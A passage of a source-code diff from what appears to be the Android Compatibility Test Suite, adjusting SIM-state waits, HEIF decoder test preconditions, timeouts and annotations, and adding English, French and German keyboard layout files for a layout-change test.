intentFilter = new IntentFilter(); + intentFilter.addAction(TelephonyManager.ACTION_SIM_CARD_STATE_CHANGED); + intentFilter.addAction(TelephonyManager.ACTION_SIM_APPLICATION_STATE_CHANGED); + getContext().registerReceiver(cardStateReceiver, intentFilter); Log.i( TAG, "Setting SIM " + logicalSlotId + " power state to " + targetPowerState + "..."); @@ -213,8 +261,15 @@ class ApduScriptUtil { // Once the RIL request completes successfully, wait for the SIM to move to the desired // state (from the broadcast). - Log.i(TAG, "Waiting for SIM " + logicalSlotId + " to become " + targetSimState + "..."); - if (!cardStateLatch.await(SET_SIM_POWER_TIMEOUT_SECONDS, SECONDS)) { + int simApplicationState = getContext().getSystemService(TelephonyManager.class) + .createForSubscriptionId(subId).getSimApplicationState(); + Log.i(TAG, "Waiting for SIM " + logicalSlotId + + " to become " + targetSimState + " from " + simApplicationState); + // TODO(b/236950019): Find a deterministic way to detect SIM power state change + // from DOWN to PASS_THROUGH. + if ((!listenToSimCardStateChange) && (targetSimState == simApplicationState)) { + Thread.sleep(APP_STATE_ADDITIONAL_WAIT_MILLIS); + } else if (!cardStateLatch.await(SET_SIM_POWER_TIMEOUT_SECONDS, SECONDS)) { throw new IllegalStateException( "Failed to receive SIM state " + targetSimState diff --git a/tests/tests/companion/uiautomation/src/android/companion/cts/uiautomation/UiAutomationTestBase.kt b/tests/tests/companion/uiautomation/src/android/companion/cts/uiautomation/UiAutomationTestBase.kt index c961624f9b0..0919575b34c 100644 --- a/tests/tests/companion/uiautomation/src/android/companion/cts/uiautomation/UiAutomationTestBase.kt +++ b/tests/tests/companion/uiautomation/src/android/companion/cts/uiautomation/UiAutomationTestBase.kt @@ -159,9 +159,11 @@ open class UiAutomationTestBase( } protected fun test_timeout(singleDevice: Boolean = false) { - setDiscoveryTimeout(1.seconds) + // Set discovery timeout to 2 seconds to avoid flaky that + // there's a chance CDM UI is disappeared before waitUntilVisible + // is called. + setDiscoveryTimeout(2.seconds) - // The discovery timeout is 1 sec, but let's give it 2. callback.assertInvokedByActions(2.seconds) { // Make sure no device will match the request sendRequestAndLaunchConfirmation( diff --git a/tests/tests/content/CtsSyncAccountAccessOtherCertTests/src/com/android/cts/content/CtsSyncAccountAccessOtherCertTestCases.java b/tests/tests/content/CtsSyncAccountAccessOtherCertTests/src/com/android/cts/content/CtsSyncAccountAccessOtherCertTestCases.java index 49b72549b7e..8bd1bb8fb33 100644 --- a/tests/tests/content/CtsSyncAccountAccessOtherCertTests/src/com/android/cts/content/CtsSyncAccountAccessOtherCertTestCases.java +++ b/tests/tests/content/CtsSyncAccountAccessOtherCertTests/src/com/android/cts/content/CtsSyncAccountAccessOtherCertTestCases.java @@ -43,6 +43,9 @@ import android.content.res.Configuration; import android.support.test.uiautomator.By; import android.support.test.uiautomator.UiDevice; import android.support.test.uiautomator.UiObject2; +import android.support.test.uiautomator.UiObjectNotFoundException; +import android.support.test.uiautomator.UiScrollable; +import android.support.test.uiautomator.UiSelector; import android.support.test.uiautomator.Until; import android.util.Log; @@ -140,7 +143,7 @@ public class CtsSyncAccountAccessOtherCertTestCases { } catch (Throwable t) { if (scrollUps < 10) { // The notification we search for is below the fold, scroll to find it - swipeUp(uiDevice); + scrollNotifications(); scrollUps++; continue; } @@ -200,6 +203,18 @@ public class CtsSyncAccountAccessOtherCertTestCases { 50 /* numberOfSteps */); } + private boolean scrollNotifications() { + UiScrollable scrollable = new UiScrollable(new UiSelector().scrollable(true)); + if (!scrollable.exists()) { + return false; + } + try { + return scrollable.scrollForward(50); + } catch (UiObjectNotFoundException e) { + return false; + } + } + private boolean isRunningInVR() { final Context context = InstrumentationRegistry.getTargetContext(); return ((context.getResources().getConfiguration().uiMode & diff --git a/tests/tests/graphics/src/android/graphics/cts/BitmapFactoryTest.java b/tests/tests/graphics/src/android/graphics/cts/BitmapFactoryTest.java index 9600df2d63e..ef44528cbff 100644 --- a/tests/tests/graphics/src/android/graphics/cts/BitmapFactoryTest.java +++ b/tests/tests/graphics/src/android/graphics/cts/BitmapFactoryTest.java @@ -35,10 +35,13 @@ import android.graphics.BitmapFactory; import android.graphics.BitmapFactory.Options; import android.graphics.Color; import android.graphics.Rect; +import android.media.MediaCodecInfo; +import android.media.MediaCodecList; import android.media.MediaFormat; import android.os.Build; import android.os.Parcel; import android.os.ParcelFileDescriptor; +import android.os.SystemProperties; import android.platform.test.annotations.LargeTest; import android.platform.test.annotations.RequiresDevice; import android.system.ErrnoException; @@ -1010,9 +1013,11 @@ public class BitmapFactoryTest { public void testDecode10BitHEIFTo10BitBitmap() { assumeTrue( "Test needs Android T.", ApiLevelUtil.isFirstApiAtLeast(Build.VERSION_CODES.TIRAMISU)); - if (!MediaUtils.hasDecoder(MediaFormat.MIMETYPE_VIDEO_HEVC)) { - return; - } + assumeTrue( + "Test needs VNDK at least T.", + SystemProperties.getInt("ro.vndk.version", 0) >= Build.VERSION_CODES.TIRAMISU); + assumeTrue("No 10-bit HEVC decoder, skip the test.", has10BitHEVCDecoder()); + BitmapFactory.Options opt = new BitmapFactory.Options(); opt.inPreferredConfig = Config.RGBA_1010102; Bitmap bm = BitmapFactory.decodeStream(obtainInputStream(R.raw.heifimage_10bit), null, opt); @@ -1027,9 +1032,11 @@ public class BitmapFactoryTest { public void testDecode10BitHEIFTo8BitBitmap() { assumeTrue( "Test needs Android T.", ApiLevelUtil.isFirstApiAtLeast(Build.VERSION_CODES.TIRAMISU)); - if (!MediaUtils.hasDecoder(MediaFormat.MIMETYPE_VIDEO_HEVC)) { - return; - } + assumeTrue( + "Test needs VNDK at least T.", + SystemProperties.getInt("ro.vndk.version", 0) >= Build.VERSION_CODES.TIRAMISU); + assumeTrue("No 10-bit HEVC decoder, skip the test.", has10BitHEVCDecoder()); + BitmapFactory.Options opt = new BitmapFactory.Options(); opt.inPreferredConfig = Config.ARGB_8888; Bitmap bm1 = @@ -1091,4 +1098,19 @@ public class BitmapFactoryTest { private String obtainPath() throws IOException { return Utils.obtainPath(R.drawable.start, 0); } + + private static boolean has10BitHEVCDecoder() { + MediaFormat format = new MediaFormat(); + format.setString(MediaFormat.KEY_MIME, "video/hevc"); + format.setInteger( + MediaFormat.KEY_PROFILE, MediaCodecInfo.CodecProfileLevel.HEVCProfileMain10); + format.setInteger( + MediaFormat.KEY_LEVEL, MediaCodecInfo.CodecProfileLevel.HEVCMainTierLevel5); + + MediaCodecList mcl = new MediaCodecList(MediaCodecList.ALL_CODECS); + if (mcl.findDecoderForFormat(format) == null) { + return false; + } + return true; + } } diff --git a/tests/tests/graphics/src/android/graphics/cts/ImageDecoderTest.java b/tests/tests/graphics/src/android/graphics/cts/ImageDecoderTest.java index 5b179d6bfc7..b6689d87f54 100644 --- a/tests/tests/graphics/src/android/graphics/cts/ImageDecoderTest.java +++ b/tests/tests/graphics/src/android/graphics/cts/ImageDecoderTest.java @@ -44,9 +44,12 @@ import android.graphics.Rect; import android.graphics.drawable.BitmapDrawable; import android.graphics.drawable.Drawable; import android.graphics.drawable.NinePatchDrawable; +import android.media.MediaCodecInfo; +import android.media.MediaCodecList; import android.media.MediaFormat; import android.net.Uri; import android.os.Build; +import android.os.SystemProperties; import android.util.DisplayMetrics; import android.util.Size; import android.util.TypedValue; @@ -244,9 +247,11 @@ public class ImageDecoderTest { public void testDecode10BitHeif() { assumeTrue( "Test needs Android T.", ApiLevelUtil.isFirstApiAtLeast(Build.VERSION_CODES.TIRAMISU)); - if (!MediaUtils.hasDecoder(MediaFormat.MIMETYPE_VIDEO_HEVC)) { - return; - } + assumeTrue( + "Test needs VNDK at least T.", + SystemProperties.getInt("ro.vndk.version", 0) >= Build.VERSION_CODES.TIRAMISU); + assumeTrue("No 10-bit HEVC decoder, skip the test.", has10BitHEVCDecoder()); + try { ImageDecoder.Source src = ImageDecoder .createSource(getResources(), R.raw.heifimage_10bit); @@ -266,9 +271,8 @@ public class ImageDecoderTest { @Test @RequiresDevice public void testDecode10BitHeifWithLowRam() { - if (!MediaUtils.hasDecoder(MediaFormat.MIMETYPE_VIDEO_HEVC)) { - return; - } + assumeTrue("No 10-bit HEVC decoder, skip the test.", has10BitHEVCDecoder()); + ImageDecoder.Source src = ImageDecoder.createSource(getResources(), R.raw.heifimage_10bit); assertNotNull(src); try { @@ -2770,4 +2774,19 @@ public class ImageDecoderTest { ImageDecoder.Source src = ImageDecoder.createSource(() -> null); ImageDecoder.decodeDrawable(src); } + + private static boolean has10BitHEVCDecoder() { + MediaFormat format = new MediaFormat(); + format.setString(MediaFormat.KEY_MIME, "video/hevc"); + format.setInteger( + MediaFormat.KEY_PROFILE, MediaCodecInfo.CodecProfileLevel.HEVCProfileMain10); + format.setInteger( + MediaFormat.KEY_LEVEL, MediaCodecInfo.CodecProfileLevel.HEVCMainTierLevel5); + + MediaCodecList mcl = new MediaCodecList(MediaCodecList.ALL_CODECS); + if (mcl.findDecoderForFormat(format) == null) { + return false; + } + return true; + } } diff --git a/tests/tests/graphics/src/android/graphics/cts/SystemPaletteTest.java b/tests/tests/graphics/src/android/graphics/cts/SystemPaletteTest.java index fb3d7ed5fa6..caccc0b70b2 100644 --- a/tests/tests/graphics/src/android/graphics/cts/SystemPaletteTest.java +++ b/tests/tests/graphics/src/android/graphics/cts/SystemPaletteTest.java @@ -34,6 +34,7 @@ import androidx.core.graphics.ColorUtils; import androidx.test.filters.SmallTest; import androidx.test.runner.AndroidJUnit4; +import com.android.compatibility.common.util.CddTest; import com.android.compatibility.common.util.PollingCheck; import org.junit.Assert; @@ -74,6 +75,7 @@ public class SystemPaletteTest { } @Test + @CddTest(requirements = {"3.8.6/C-1-4,C-1-5,C-1-6"}) public void testThemeStyles() { final Context context = getInstrumentation().getTargetContext(); forEachThemeDefinition((color, style, expectedPalette) -> { diff --git a/tests/tests/hardware/AndroidManifest.xml b/tests/tests/hardware/AndroidManifest.xml index 6ac6d52dd8f..897e3df9d8e 100644 --- a/tests/tests/hardware/AndroidManifest.xml +++ b/tests/tests/hardware/AndroidManifest.xml @@ -103,6 +103,16 @@ android:label="FingerprintTestActivity"> </activity> + <receiver android:name="android.hardware.input.cts.tests.KeyboardLayoutChangeTest.CtsKeyboardLayoutProvider" + android:label="CTS keyboard layout provider" + android:exported="true"> + <intent-filter> + <action android:name="android.hardware.input.action.QUERY_KEYBOARD_LAYOUTS" /> + </intent-filter> + <meta-data android:name="android.hardware.input.metadata.KEYBOARD_LAYOUTS" + android:resource="@xml/keyboard_layouts" /> + </receiver> + </application> <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner" diff --git a/tests/tests/hardware/res/raw/keyboard_layout_english_us.kcm b/tests/tests/hardware/res/raw/keyboard_layout_english_us.kcm new file mode 100644 index 00000000000..ca9040259d1 --- /dev/null +++ b/tests/tests/hardware/res/raw/keyboard_layout_english_us.kcm @@ -0,0 +1,311 @@ +# Copyright (C) 2022 The Android Open Source Project +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. + +# +# English (US) keyboard layout. +# Unlike the default (generic) keyboard layout, English (US) does not contain any +# special ALT characters. +# + +type OVERLAY + +### ROW 1 + +key GRAVE { + label: '`' + base: '`' + shift: '~' +} + +key 1 { + label: '1' + base: '1' + shift: '!' +} + +key 2 { + label: '2' + base: '2' + shift: '@' +} + +key 3 { + label: '3' + base: '3' + shift: '#' +} + +key 4 { + label: '4' + base: '4' + shift: '$' +} + +key 5 { + label: '5' + base: '5' + shift: '%' +} + +key 6 { + label: '6' + base: '6' + shift: '^' +} + +key 7 { + label: '7' + base: '7' + shift: '&' +} + +key 8 { + label: '8' + base: '8' + shift: '*' +} + +key 9 { + label: '9' + base: '9' + shift: '(' +} + +key 0 { + label: '0' + base: '0' + shift: ')' +} + +key MINUS { + label: '-' + base: '-' + shift: '_' +} + +key EQUALS { + label: '=' + base: '=' + shift: '+' +} + +### ROW 2 + +key Q { + label: 'Q' + base: 'q' + shift, capslock: 'Q' +} + +key W { + label: 'W' + base: 'w' + shift, capslock: 'W' +} + +key E { + label: 'E' + base: 'e' + shift, capslock: 'E' +} + +key R { + label: 'R' + base: 'r' + shift, capslock: 'R' +} + +key T { + label: 'T' + base: 't' + shift, capslock: 'T' +} + +key Y { + label: 'Y' + base: 'y' + shift, capslock: 'Y' +} + +key U { + label: 'U' + base: 'u' + shift, capslock: 'U' +} + +key I { + label: 'I' + base: 'i' + shift, capslock: 'I' +} + +key O { + label: 'O' + base: 'o' + shift, capslock: 'O' +} + +key P { + label: 'P' + base: 'p' + shift, capslock: 'P' +} + +key LEFT_BRACKET { + label: '[' + base: '[' + shift: '{' +} + +key RIGHT_BRACKET { + label: ']' + base: ']' + shift: '}' +} + +key BACKSLASH { + label: '\\' + base: '\\' + shift: '|' +} + +### ROW 3 + +key A { + label: 'A' + base: 'a' + shift, capslock: 'A' +} + +key S { + label: 'S' + base: 's' + shift, capslock: 'S' +} + +key D { + label: 'D' + base: 'd' + shift, capslock: 'D' +} + +key F { + label: 'F' + base: 'f' + shift, capslock: 'F' +} + +key G { + label: 'G' + base: 'g' + shift, capslock: 'G' +} + +key H { + label: 'H' + base: 'h' + shift, capslock: 'H' +} + +key J { + label: 'J' + base: 'j' + shift, capslock: 'J' +} + +key K { + label: 'K' + base: 'k' + shift, capslock: 'K' +} + +key L { + label: 'L' + base: 'l' + shift, capslock: 'L' +} + +key SEMICOLON { + label: ';' + base: ';' + shift: ':' +} + +key APOSTROPHE { + label: '\'' + base: '\'' + shift: '"' +} + +### ROW 4 + +key Z { + label: 'Z' + base: 'z' + shift, capslock: 'Z' +} + +key X { + label: 'X' + base: 'x' + shift, capslock: 'X' +} + +key C { + label: 'C' + base: 'c' + shift, capslock: 'C' +} + +key V { + label: 'V' + base: 'v' + shift, capslock: 'V' +} + +key B { + label: 'B' + base: 'b' + shift, capslock: 'B' +} + +key N { + label: 'N' + base: 'n' + shift, capslock: 'N' +} + +key M { + label: 'M' + base: 'm' + shift, capslock: 'M' +} + +key COMMA { + label: ',' + base: ',' + shift: '<' +} + +key PERIOD { + label: '.' + base: '.' + shift: '>' +} + +key SLASH { + label: '/' + base: '/' + shift: '?' +} diff --git a/tests/tests/hardware/res/raw/keyboard_layout_french.kcm b/tests/tests/hardware/res/raw/keyboard_layout_french.kcm new file mode 100644 index 00000000000..65bcd132928 --- /dev/null +++ b/tests/tests/hardware/res/raw/keyboard_layout_french.kcm @@ -0,0 +1,336 @@ +# Copyright (C) 2022 The Android Open Source Project +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. + +# +# French keyboard layout, AZERTY style. +# + +type OVERLAY + +map key 16 A +map key 17 Z +map key 30 Q +map key 39 M +map key 44 W +map key 50 COMMA +map key 51 SEMICOLON +map key 86 PLUS + +### ROW 1 + +key GRAVE { + label: '\u00b2' + base: '\u00b2' +} + +key 1 { + label: '1' + base: '&' + shift: '1' +} + +key 2 { + label: '2' + base: '\u00e9' + shift: '2' + ralt: '~' +} + +key 3 { + label: '3' + base: '"' + shift: '3' + ralt: '#' +} + +key 4 { + label: '4' + base: '\'' + shift: '4' + ralt: '{' +} + +key 5 { + label: '5' + base: '(' + shift: '5' + ralt: '[' +} + +key 6 { + label: '6' + base: '-' + shift: '6' + ralt: '|' +} + +key 7 { + label: '7' + base: '\u00e8' + shift: '7' + ralt: '`' +} + +key 8 { + label: '8' + base: '_' + shift: '8' + ralt: '\\' +} + +key 9 { + label: '9' + base: '\u00e7' + shift: '9' + ralt: '^' +} + +key 0 { + label: '0' + base: '\u00e0' + shift: '0' + ralt: '@' +} + +key MINUS { + label: ')' + base: ')' + shift: '\u00b0' + ralt: ']' +} + +key EQUALS { + label: '=' + base: '=' + shift: '+' + ralt: '}' +} + +### ROW 2 + +key A { + label: 'A' + base: 'a' + shift, capslock: 'A' +} + +key Z { + label: 'Z' + base: 'z' + shift, capslock: 'Z' +} + +key E { + label: 'E' + base: 'e' + shift, capslock: 'E' + ralt: '\u20ac' +} + +key R { + label: 'R' + base: 'r' + shift, capslock: 'R' +} + +key T { + label: 'T' + base: 't' + shift, capslock: 'T' +} + +key Y { + label: 'Y' + base: 'y' + shift, capslock: 'Y' +} + +key U { + label: 'U' + base: 'u' + shift, capslock: 'U' +} + +key I { + label: 'I' + base: 'i' + shift, capslock: 'I' +} + +key O { + label: 'O' + base: 'o' + shift, capslock: 'O' +} + +key P { + label: 'P' + base: 'p' + shift, capslock: 'P' +} + +key LEFT_BRACKET { + label: '\u02c6' + base: '\u0302' + shift: '\u0308' +} + +key RIGHT_BRACKET { + label: '$' + base: '$' + shift: '\u00a3' + ralt: '\u00a4' +} + +### ROW 3 + +key Q { + label: 'Q' + base: 'q' + shift, capslock: 'Q' +} + +key S { + label: 'S' + base: 's' + shift, capslock: 'S' +} + +key D { + label: 'D' + base: 'd' + shift, capslock: 'D' +} + +key F { + label: 'F' + base: 'f' + shift, capslock: 'F' +} + +key G { + label: 'G' + base: 'g' + shift, capslock: 'G' +} + +key H { + label: 'H' + base: 'h' + shift, capslock: 'H' +} + +key J { + label: 'J' + base: 'j' + shift, capslock: 'J' +} + +key K { + label: 'K' + base: 'k' + shift, capslock: 'K' +} + +key L { + label: 'L' + base: 'l' + shift, capslock: 'L' +} + +key M { + label: 'M' + base: 'm' + shift, capslock: 'M' +} + +key APOSTROPHE { + label: '\u00f9' + base: '\u00f9' + shift: '%' +} + +key BACKSLASH { + label: '*' + base: '*' + shift: '\u00b5' +} + +### ROW 4 + +key PLUS { + label: '<' + base: '<' + shift: '>' +} + +key W { + label: 'W' + base: 'w' + shift, capslock: 'W' +} + +key X { + label: 'X' + base: 'x' + shift, capslock: 'X' +} + +key C { + label: 'C' + base: 'c' + shift, capslock: 'C' +} + +key V { + label: 'V' + base: 'v' + shift, capslock: 'V' +} + +key B { + label: 'B' + base: 'b' + shift, capslock: 'B' +} + +key N { + label: 'N' + base: 'n' + shift, capslock: 'N' +} + +key COMMA { + label: ',' + base: ',' + shift: '?' +} + +key SEMICOLON { + label: ';' + base: ';' + shift: '.' +} + +key PERIOD { + label: ':' + base: ':' + shift: '/' +} + +key SLASH { + label: '!' + base: '!' + shift: '\u00a7' +} diff --git a/tests/tests/hardware/res/raw/keyboard_layout_german.kcm b/tests/tests/hardware/res/raw/keyboard_layout_german.kcm new file mode 100644 index 00000000000..864af121245 --- /dev/null +++ b/tests/tests/hardware/res/raw/keyboard_layout_german.kcm @@ -0,0 +1,333 @@ +# Copyright (C) 2022 The Android Open Source Project +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. + +# +# German keyboard layout, QWERTZ style. +# + +type OVERLAY + +map key 12 SLASH # � ? \ +map key 21 Z +map key 44 Y +map key 53 MINUS # - _ +map key 86 PLUS # < > | + +### ROW 1 + +key GRAVE { + label: '^' + base: '^' + shift: '\u00b0' +} + +key 1 { + label: '1' + base: '1' + shift: '!' +} + +key 2 { + label: '2' + base: '2' + shift: '"' + ralt: '\u00b2' +} + +key 3 { + label: '3' + base: '3' + shift: '\u00a7' + ralt: '\u00b3' +} + +key 4 { + label: '4' + base: '4' + shift: '$' +} + +key 5 { + label: '5' + base: '5' + shift: '%' +} + +key 6 { + label: '6' + base: '6' + shift: '&' +} + +key 7 { + label: '7' + base: '7' + shift: '/' + ralt: '{' +} + +key 8 { + label: '8' + base: '8' + shift: '(' + ralt: '[' +} + +key 9 { + label: '9' + base: '9' + shift: ')' + ralt: ']' +} + +key 0 { + label: '0' + base: '0' + shift: '=' + ralt: '}' +} + +key SLASH { + label: '\u00df' + base: '\u00df' + shift: '?' + ralt: '\\' +} + +key EQUALS { + label: '\u00b4' + base: '\u0301' + shift: '\u0300' +} + +### ROW 2 + +key Q { + label: 'Q' + base: 'q' + shift, capslock: 'Q' + ralt: '@' +} + +key W { + label: 'W' + base: 'w' + shift, capslock: 'W' +} + +key E { + label: 'E' + base: 'e' + shift, capslock: 'E' + ralt: '\u20ac' +} + +key R { + label: 'R' + base: 'r' + shift, capslock: 'R' +} + +key T { + label: 'T' + base: 't' + shift, capslock: 'T' +} + +key Z { + label: 'Z' + base: 'z' + shift, capslock: 'Z' +} + +key U { + label: 'U' + base: 'u' + shift, capslock: 'U' +} + +key I { + label: 'I' + base: 'i' + shift, capslock: 'I' +} + +key O { + label: 'O' + base: 'o' + shift, capslock: 'O' +} + +key P { + label: 'P' + base: 'p' + shift, capslock: 'P' +} + +key LEFT_BRACKET { + label: '\u00dc' + base: '\u00fc' + shift, capslock: '\u00dc' +} + +key RIGHT_BRACKET { + label: '+' + base: '+' + shift: '*' + ralt: '~' +} + +### ROW 3 + +key A { + label: 'A' + base: 'a' + shift, capslock: 'A' +} + +key S { + label: 'S' + base: 's' + shift, capslock: 'S' +} + +key D { + label: 'D' + base: 'd' + shift, capslock: 'D' +} + +key F { + label: 'F' + base: 'f' + shift, capslock: 'F' +} + +key G { + label: 'G' + base: 'g' + shift, capslock: 'G' +} + +key H { + label: 'H' + base: 'h' + shift, capslock: 'H' +} + +key J { + label: 'J' + base: 'j' + shift, capslock: 'J' +} + +key K { + label: 'K' + base: 'k' + shift, capslock: 'K' +} + +key L { + label: 'L' + base: 'l' + shift, capslock: 'L' +} + +key SEMICOLON { + label: '\u00d6' + base: '\u00f6' + shift, capslock: '\u00d6' +} + +key APOSTROPHE { + label: '\u00c4' + base: '\u00e4' + shift, capslock: '\u00c4' +} + +key BACKSLASH { + label: '#' + base: '#' + shift: '\'' +} + +### ROW 4 + +key PLUS { + label: '<' + base: '<' + shift: '>' + ralt: '|' +} + +key Y { + label: 'Y' + base: 'y' + shift, capslock: 'Y' +} + +key X { + label: 'X' + base: 'x' + shift, capslock: 'X' +} + +key C { + label: 'C' + base: 'c' + shift, capslock: 'C' +} + +key V { + label: 'V' + base: 'v' + shift, capslock: 'V' +} + +key B { + label: 'B' + base: 'b' + shift, capslock: 'B' +} + +key N { + label: 'N' + base: 'n' + shift, capslock: 'N' +} + +key M { + label: 'M' + base: 'm' + shift, capslock: 'M' + ralt: '\u00b5' +} + +key COMMA { + label: ',' + base: ',' + shift: ';' +} + +key PERIOD { + label: '.' + base: '.' + shift: ':' +} + +key MINUS { + label: '-' + base: '-' + shift: '_' +} diff --git a/tests/tests/hardware/res/xml/keyboard_layouts.xml b/tests/tests/hardware/res/xml/keyboard_layouts.xml new file mode 100644 index 00000000000..4516a368bac --- /dev/null +++ b/tests/tests/hardware/res/xml/keyboard_layouts.xml @@ -0,0 +1,31 @@ +<?xml version="1.0" encoding="utf-8"?> +<!-- + ~ Copyright (C) 2022 The Android Open Source Project + ~ + ~ Licensed under the Apache License, Version 2.0 (the "License"); + ~ you may not use this file except in compliance with the License. + ~ You may obtain a copy of the License at + ~ + ~ http://www.apache.org/licenses/LICENSE-2.0 + ~ + ~ Unless required by applicable law or agreed to in writing, software + ~ distributed under the License is distributed on an "AS IS" BASIS, + ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + ~ See the License for the specific language governing permissions and + ~ limitations under the License. + --> + +<keyboard-layouts xmlns:android="http://schemas.android.com/apk/res/android"> + + <keyboard-layout android:name="keyboard_layout_english_us" + android:label="English (US)" + android:keyboardLayout="@raw/keyboard_layout_english_us" /> + + <keyboard-layout android:name="keyboard_layout_german" + android:label="German" + android:keyboardLayout="@raw/keyboard_layout_german" /> + + <keyboard-layout android:name="keyboard_layout_french" + android:label="French" + android:keyboardLayout="@raw/keyboard_layout_french" /> +</keyboard-layouts> diff --git a/tests/tests/hardware/src/android/hardware/cts/DataSpaceTest.java b/tests/tests/hardware/src/android/hardware/cts/DataSpaceTest.java index ebbfd30bf8f..ceb98350c06 100644 --- a/tests/tests/hardware/src/android/hardware/cts/DataSpaceTest.java +++ b/tests/tests/hardware/src/android/hardware/cts/DataSpaceTest.java @@ -37,11 +37,14 @@ import androidx.test.annotation.UiThreadTest; import androidx.test.ext.junit.runners.AndroidJUnit4; import androidx.test.filters.SmallTest; +import com.android.compatibility.common.util.ApiTest; + import org.junit.After; import org.junit.Before; import org.junit.Test; import org.junit.runner.RunWith; +@ApiTest(apis = {"android.hardware.DataSpace#NamedDataSpace"}) @RunWith(AndroidJUnit4.class) @SmallTest public class DataSpaceTest { @@ -196,9 +199,10 @@ public class DataSpaceTest { } } + @ApiTest(apis = {"android.hardware.DataSpace#DATASPACE_JFIF"}) @UiThreadTest @Test - public void getDataSpaceWithFormatYUV420_888() { + public void getDataSpaceWithFormatYV12() { mTex = new int[1]; glGenTextures(1, mTex, 0); @@ -208,7 +212,7 @@ public class DataSpaceTest { mSurface = new Surface(mSurfaceTexture); mWriter = new ImageWriter.Builder(mSurface) - .setImageFormat(ImageFormat.YUV_420_888) + .setImageFormat(ImageFormat.YV12) .build(); Image inputImage = null; @@ -218,7 +222,7 @@ public class DataSpaceTest { mSurfaceTexture.updateTexImage(); - // test default dataspace value of ImageFormat.YUV_420_888 format. + // test default dataspace value of ImageFormat.YV12 format. assertEquals(DataSpace.DATASPACE_JFIF, mSurfaceTexture.getDataSpace()); } finally { if (inputImage != null) { diff --git a/tests/tests/hardware/src/android/hardware/input/cts/tests/KeyboardLayoutChangeTest.java b/tests/tests/hardware/src/android/hardware/input/cts/tests/KeyboardLayoutChangeTest.java index 7dae1d1e2ca..a12730ce7cf 100644 --- a/tests/tests/hardware/src/android/hardware/input/cts/tests/KeyboardLayoutChangeTest.java +++ b/tests/tests/hardware/src/android/hardware/input/cts/tests/KeyboardLayoutChangeTest.java @@ -26,6 +26,9 @@ import static org.mockito.Mockito.inOrder; import static org.mockito.Mockito.timeout; import android.Manifest; +import android.content.BroadcastReceiver; +import android.content.Context; +import android.content.Intent; import android.hardware.cts.R; import android.hardware.input.InputManager; import android.os.Handler; @@ -36,6 +39,7 @@ import android.view.KeyEvent; import androidx.test.ext.junit.runners.AndroidJUnit4; import androidx.test.filters.SmallTest; +import com.android.compatibility.common.util.ApiTest; import com.android.compatibility.common.util.SystemUtil; import org.junit.Test; @@ -44,6 +48,7 @@ import org.mockito.InOrder; import org.mockito.Mock; import org.mockito.MockitoAnnotations; +@ApiTest(apis = {"android.view.InputDevice#getKeyCodeForKeyLocation"}) @SmallTest @RunWith(AndroidJUnit4.class) public class KeyboardLayoutChangeTest extends InputHidTestCase { @@ -201,4 +206,11 @@ public class KeyboardLayoutChangeTest extends InputHidTestCase { timeout(KEYBOARD_LAYOUT_CHANGE_TIMEOUT)).onInputDeviceChanged( eq(device.getId())); } + + public static class CtsKeyboardLayoutProvider extends BroadcastReceiver { + @Override + public void onReceive(Context context, Intent intent) { + // Nothing to do at this time. + } + } } diff --git a/tests/tests/hardware/src/android/hardware/input/cts/tests/VirtualDeviceTestCase.java b/tests/tests/hardware/src/android/hardware/input/cts/tests/VirtualDeviceTestCase.java index 8ad13dfdcb6..aff4b337b21 100644 --- a/tests/tests/hardware/src/android/hardware/input/cts/tests/VirtualDeviceTestCase.java +++ b/tests/tests/hardware/src/android/hardware/input/cts/tests/VirtualDeviceTestCase.java @@ -95,6 +95,9 @@ public abstract class VirtualDeviceTestCase extends InputTestCase { final PackageManager packageManager = context.getPackageManager(); // TVs do not support companion assumeTrue(packageManager.hasSystemFeature(PackageManager.FEATURE_COMPANION_DEVICE_SETUP)); + // Virtual input devices only operate on virtual displays + assumeTrue(packageManager.hasSystemFeature( + PackageManager.FEATURE_ACTIVITIES_ON_SECONDARY_DISPLAYS)); final String packageName = context.getPackageName(); associateCompanionDevice(packageName); diff --git a/tests/tests/keystore/src/android/keystore/cts/AndroidKeyStoreTest.java b/tests/tests/keystore/src/android/keystore/cts/AndroidKeyStoreTest.java index 79435389feb..56dd1b0f561 100644 --- a/tests/tests/keystore/src/android/keystore/cts/AndroidKeyStoreTest.java +++ b/tests/tests/keystore/src/android/keystore/cts/AndroidKeyStoreTest.java @@ -2113,7 +2113,7 @@ public class AndroidKeyStoreTest { Signature.getInstance("NONEwithECDSA").initVerify(publicKey); } - private static final int MIN_SUPPORTED_KEY_COUNT = 1500; + private static final int MIN_SUPPORTED_KEY_COUNT = 1200; private static final Duration LARGE_NUMBER_OF_KEYS_TEST_MAX_DURATION = Duration.ofMinutes(4); private static final Duration LARGE_NUMBER_OF_KEYS_TEST_MAX_DURATION_WATCH = Duration.ofMinutes(6); diff --git a/tests/tests/keystore/src/android/keystore/cts/KeyAttestationTest.java b/tests/tests/keystore/src/android/keystore/cts/KeyAttestationTest.java index ae87bdc7d91..043b5de11cd 100644 --- a/tests/tests/keystore/src/android/keystore/cts/KeyAttestationTest.java +++ b/tests/tests/keystore/src/android/keystore/cts/KeyAttestationTest.java @@ -1104,7 +1104,10 @@ public class KeyAttestationTest { boolean requireCreationDateTime = attestation.getKeymasterVersion() >= Attestation.KM_VERSION_KEYMINT_1; - if (requireCreationDateTime || creationDateTime != null) { + // b/232078430: skip time checks in Android T due to 